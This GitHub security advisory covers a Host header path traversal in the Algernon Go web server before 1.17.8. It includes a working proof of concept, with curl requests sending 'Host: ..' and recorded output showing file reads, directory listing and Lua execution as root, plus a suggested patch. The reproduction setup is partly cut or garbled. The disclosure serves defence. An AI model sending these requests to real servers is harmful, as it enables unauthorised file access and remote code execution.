GHSA-jc3j-x6pg-4hmv Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir

• Go github.com/xyproto/algernon: < 1.17.8 → fixed in 1.17.8

Summary When algernon is started with `--domain` (or `--letsencrypt`, which silently turns on `--domain` at `engine/flags.go:372`), the request handler resolves the served directory by joining the configured `--dir` with the value of the client-supplied `Host` header. The join is performed by `filepath.Join` with no validation, so a `Host: ..` header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any `.lua` file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected. Details `engine/handlers.go` (function `RegisterHandlers`, around line 510): ```go allRequests := func(w http.ResponseWriter, req *http.Request) { ... servedir := servedir if addDomain { servedir = filepath.Join(servedir, utils.GetDomain(req)) // public' > $WORK/site/index.html echo 'TOP-SECRET FROM PARENT DIR' > $WORK/SECRET.txt cat > $WORK/pwn.lua TOP-SECRET FROM PARENT DIR 2. Parent directory listing curl -H 'Host: ..' http://127.0.0.1:7799/ | grep -oP 'href="[^"]+"' | head -> href="/SECRET.txt", href="/pwn.lua", href="/site/", ... 3. Server-side Lua execution (RCE) curl -H 'Host: ..' http://127.0.0.1:7799/pwn.lua -> === RCE === uid=0(root) gid=0(root) groups=0(root) Linux ... ``` Recorded output from a real run: ``` [2] arbitrary file read via Host: .. TOP-SECRET FROM PARENT DIR [3] directory listing of parent via Host: .. bytes=1278, links=1 sample: href="/alg.log" href="/site/" href="/SECRET.txt" [4] Lua RCE via Host: .. when .lua exists in parent === RCE === uid=0(root) gid=0(root) groups=0(root) Linux fg0x0 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux EXIT=0 ``` Steps 2 and 3 reproduce with default flags (`--domain` alone, or `--letsencrypt` in production). Step 4 additionally requires a `.lua` file in the parent — common when an operator keeps shared scripts alongside the served directory, or when this bug is chained with any prior write primitive. Impact • An unauthenticated remote attacker who can send a single HTTP request with a `Host: ..` header can read arbitrary files in `parent(--dir)` and enumerate that directory. • When `--letsencrypt` is used (the recommended way to obtain HTTPS), `--domain` is enabled silently, so any production multi-tenant deployment is exposed without the operator opting in. • The chained Lua-RCE path executes shell commands as the algernon process user. In the canonical `--prod` invocation documented in `engine/config.go:208` (`serverDirOrFilename = "/srv/algernon"`), the parent is `/srv`; in multi-domain setups the parent often holds sibling site directories and shared `.lua` libraries. Suggested fix Reject Host header values that contain `..`, `/`, `\`, or that resolve outside the configured `serverDirOrFilename`. The simplest patch: ```go // engine/handlers.go, where addDomain is consumed if addDomain { domain := utils.GetDomain(req) if domain == "" || strings.ContainsAny(domain, "/\\") || strings.Contains(domain, "..") { w.WriteHeader(http.StatusBadRequest) return } servedir = filepath.Join(servedir, domain) } ``` A stronger fix when CertMagic is active is to constrain the lookup to the `certMagicDomains` allow-list that `flags.go` already builds.